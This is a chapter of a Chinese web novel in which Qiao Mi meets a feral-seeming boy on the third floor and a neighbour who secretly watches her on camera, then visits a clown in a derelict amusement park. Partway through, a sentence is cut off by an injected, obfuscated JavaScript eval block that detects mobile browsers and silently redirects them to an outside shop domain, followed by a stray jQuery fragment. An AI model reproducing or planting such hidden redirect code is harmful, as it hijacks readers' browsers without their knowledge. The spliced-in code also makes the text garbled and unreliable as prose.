和那只眼睛对视上的瞬间,乔弥的汗毛瞬间竖起来,浑身上下的血液都凝固了似的。
她第一次知道人会在一瞬间变得手脚冰凉,只有后颈因为发麻而微微发热。
两只眼睛隔着门缝互相对望,谁也没有率先移开视线,乔弥是吓得动不了,却不知道对面是因为什么。
过了好几秒,乔弥总算找回了一点胆子,她先一步移开视线,捂着胸口打招呼:“嗨……好巧啊。”
对面没有发出声音,乔弥不知道那人是不是还在门缝里看她,一想到自己刚才一无所知趴在门缝上偷听的样子,她就尴尬得脚趾抓地。
“你好?”乔弥试探着开口,依然没有得到回答。
这儿的邻居,怎么都不喜欢说话……
斧头怪是这样,殷牧是这样,就连三楼,也是这个德行。
乔弥想,这样数下来,好像还真是蓝砚交流起来最不费劲,也不怪她一直在蓝砚身上挣钱了。
就是不知道五楼的邻居会是什么性格呢?她好像一直没听到过五楼的动静。
愣神的间隙,楼道门已经被人推开了一条缝,乔弥被迫回神,靠半开的门后透出的光看清了对面的人影。
是个……呃……
“小……同学,你不用上学吗?怎么一个人在家?”乔弥提起的心脏瞬间放了回去。
站在她对面的是个青涩稚嫩的男孩,目测也就十八九岁的样子,一双眼睛睁得圆溜溜的,看向乔弥的时候,眼神都在发光。
听到她的话,男孩抽了抽鼻子,压低嗓音:“三楼,我的。”
听着他刻意压出来的低沉嗓音,乔弥有点想笑,她很大度地举起了手,配合他的中二病:“好好好,你的你的,我不过去。”
男孩眉心松动,露出一瞬间的茫然,又很快皱起眉头,鼻尖抽动,喉咙里发出古怪的声响。
“嗯……方便问一下你和谁住在一起吗?”乔弥没有放弃打听,探头探脑朝里看。
男孩看着稚嫩,个子却比她高不少,她要垫着脚才能看清他身后的走廊。
“我的,只有我!”男孩却“砰”一声双手撑住楼道门,脊背微微拱起,挡住了乔弥的视线。
乔弥被吓得后退半步,兜里的饮料也掉了出来,咕噜噜滚到男孩脚边。
她没想到自己提到了男孩的伤心事,半大的年纪,正该是和父母住在一起,他却独居在这里,怪不得突然炸毛呢。
乔弥小心道歉:“对不起哈……”
她伸出一只手,试图捞回自己的饮料,但刚有动作,男孩喉咙里的咕噜声便更响了,她顿在原地,抬头看向男孩。
他在笑。
咧着嘴唇,龇着两排白牙,用力地笑,笑得连眼睛都眯了起来。
“哇……”乔弥感叹出声,好好一个漂亮小男孩,笑起来怎么这么丑。
出于礼貌,乔弥弯了弯眼睛,也冲他露出一个大大的微笑:“来到这里,还是第一次有人对我笑得那么灿烂呢,谢谢你啊,整栋楼就你笑得最……别致。”
哪想到男孩和她对着笑了一会儿,突然猛地转身,逃跑似的离开了,动作慌乱到一路带出噪音,活像她在动画片里老鼠被猫追的样子。
“哎!你……”乔弥还没来得及说话,眼前的楼道门就快速合了起来,整个楼道再次陷入黑暗。
乔弥试着推门,门纹丝不动,反倒把她累得口干舌燥,浑身冒汗。
奇了怪了,这小孩,看着瘦,力气竟然那么大,刚才没见他用力就把门撑开了。
“关门就关门,饮料还我啊……”乔弥嘟囔,“我现在很穷的好不好。”
刚才男孩跑的时候不小心踹了一脚她的饮料,饮料跟着他一起滚进了门后,看样子是拿不回来了。
她跺了跺脚,认命离开。
确认楼道门后面已经没人了,蹲在走廊里龇着牙的少年才慢慢收敛了表情,他焦躁地舔了舔嘴唇,伸着舌头喘气。
他还是第一次遇到敢跟他龇牙的人类。
他不能忍受这种挑衅,很想咬上去,但是……
少年捂着心口,那个雌性龇牙后,他的心脏突然一直在乱跳,上一次出现这种反应,还是被一整群野狼包围的时候。
他从不怀疑自己灵敏的身体反应。
她一定比狼群还可怕。
脚边的饮料瓶轻轻滚了一下,少年敏锐地向旁边跃出一步,四肢着地冲着它龇牙,在发现这只是个不会动的东西后,又伸长脑袋,鼻子凑上来使劲嗅。
这是喝的,他很快回忆起脑子里见过的,别的人类喝水的样子。
少年捡起瓶子,伸出舌尖舔了舔,什么也没喝到。
他疑惑地嗅了嗅,确定自己闻到了一丝甜味,于是坐在地上,抱着大半瓶饮料开始啃。
“咔嚓”、“咔嚓”……
几声干脆的破裂声响起后,少年偏头吐出嘴里被咬扁的瓶盖,咂咂嘴。
像嚼脆骨,但是没有肉的味道。
他鼻尖凑近瓶口,嗅了嗅,探出舌尖继续舔,他的舌头绕着瓶口走了一圈,又颤抖着收回。
少年抬起头,眯着眼睛,舌头不停吐出又收回,像被辣到了似的。
好奇怪,他迷迷糊糊地想。
舌头收进嘴巴里,太甜了,受不了……
舌头吐出来,感受不到甜味……
收舌头,甜……
吐舌头,不甜……
他自己都不知道自己想不想要这股甜味,只是不停地砸吧着嘴,直到口腔内的甜味慢慢散去。
少年迫不及待地把舌头伸进瓶口,卷起瓶子里的液体,直接送进口腔。
他仰着头,准备下刚才一样缓解,却在咽下液体后,茫然地看向瓶子。
味道不一样。
瓶口的味道,和液体的味道,不一样。
少年略显失望地坐在地上,没再喝瓶子里的饮料,转而继续舔瓶口,乐此不疲。
乔弥离开三楼后,下到了二楼,二楼的楼道门很好推开,她轻易便进入了二楼的走廊。
二楼静悄悄的,每扇门都干净得像无人居住,但乔弥第一眼就看出殷牧住的是哪间房子。
原因很简单,那扇门上安装了醒目的监控,想不注意到都难。
乔弥走到门口,敲了敲门,等着殷牧来开门,但等了半天也没动静。她疑惑地看向监控:“哈喽,殷牧,你在家吗?”
监控红点闪烁,也不知道殷牧有没有在看她。
乔弥拿出手里的手电筒,无聊地抛着玩,她决定等殷牧三分钟。
与此同时,安静的走廊里,戴着黑框眼镜的青年放大手机里的画面,把某张无聊等待
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722319|208731||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的脸放到最大。
他一边盯着那张脸,一边抖着手折起一张纸,慌慌张张地跑进电梯。
电梯内,殷牧盯着电梯门上映出的自己的脸,牙关都开始打颤,双腿也不自觉发软,他试着清了清喉咙,却发现自己连话都说不出来了。
没有提前打腹稿,等会儿该怎么和她说话?
殷牧战战兢兢冲出了电梯,却在看到走廊里的情形后,潮红的脸褪成苍白。
走廊里没人,乔弥走了,只有一只手电筒孤零零躺在他门口。
她甚至在地上垫了一张餐巾纸,手电筒躺在上面,就像睡在了一只洁白的小床上。
殷牧蹲下身,掏出手机,换着角度拍下这只手电筒,然后急不可耐地捡起了手电筒,连同那张餐巾纸。
殷牧摩挲着那只尚有余温的手电筒,抬头看向监控。
乔弥主动来到他的镜头下。
他得保存下来,仔细看。
乔弥没等到人,把手电筒放在门口就走了,她走到大厅,看见瑞和在工作,脸上的伤已经好了很多。
“幸好给你涂药了,”乔弥很满意,“不然好不了这么快。”
瑞和听到声音抬起头,朝她弯了弯眼睛:“嗯,多亏了乔弥。”
乔弥嘴角不受控制抬起,余光却瞥到一旁的鱼缸,故意逗瑞和:“我就说别让你弟弟来公寓了,他来了一天,鱼都被吓死了。”
瑞和闻言看向那条翻肚皮的鱼,没有反驳,只是在乔弥伸手想要拨弄鱼缸水的时候,一把托住了她的手腕:“水脏,别碰。”
乔弥被他托着手腕,有点不好意思,她收回手,假装无事发生地挠挠脸:“你记得把它安葬哦,我还有事,先走啦!”
瑞和笑着和她招手告别,无视脑子里的那道怒吼。
乔弥嘴里的“有事”,其实只是到大街上挨家挨户找工作。
连问了几家,乔弥都被拒之门外,不知道为什么,这里的很多人看她的眼神都带着说不清的防备。
唉,有种乡下人误入都市被歧视的感觉怎么办?
走着走着,又来到了游乐园附近,秉持着来都来了的态度,乔弥转头就走了进去。
游乐园一如既往地破败,乔弥故意制造出了一点噪音,希望小丑可以发现她,但直到她来到了帐篷边,也没见到小丑的影子。
乔弥呼喊小丑的声音被那些劣质的欢呼声淹没,她犹豫几秒,还是偷偷掀起了门帘一角。
反正他上次都让她进去了,看一眼应该不要紧吧?
昏暗的帐篷里空空如也,观众的座位已经斑驳开裂,这些座椅高高地把中央那座小舞台包围住,而那舞台中央,站着那位她很熟悉的小丑。
他手里拿着一顶礼帽,正在变魔术,黑色礼帽抖了抖,一只兔子便钻了出来,扑腾着后腿绕舞台跑了一圈,然后重新钻进礼帽。
小丑把礼帽朝下磕了磕,证明礼帽里已经没有东西了。
“好厉害……”乔弥小声惊叹。
只是场内无人应和,小丑也不言不语,再好看的魔术都会大打折扣。
他又把手伸进礼帽,这次变出了一只鸽子,鸽子咕咕两声,展开翅膀,直直朝着乔弥的方向飞来。
小丑的视线随鸽子转动,也落在了乔弥的身上。
哈哈,偷看被抓个正着。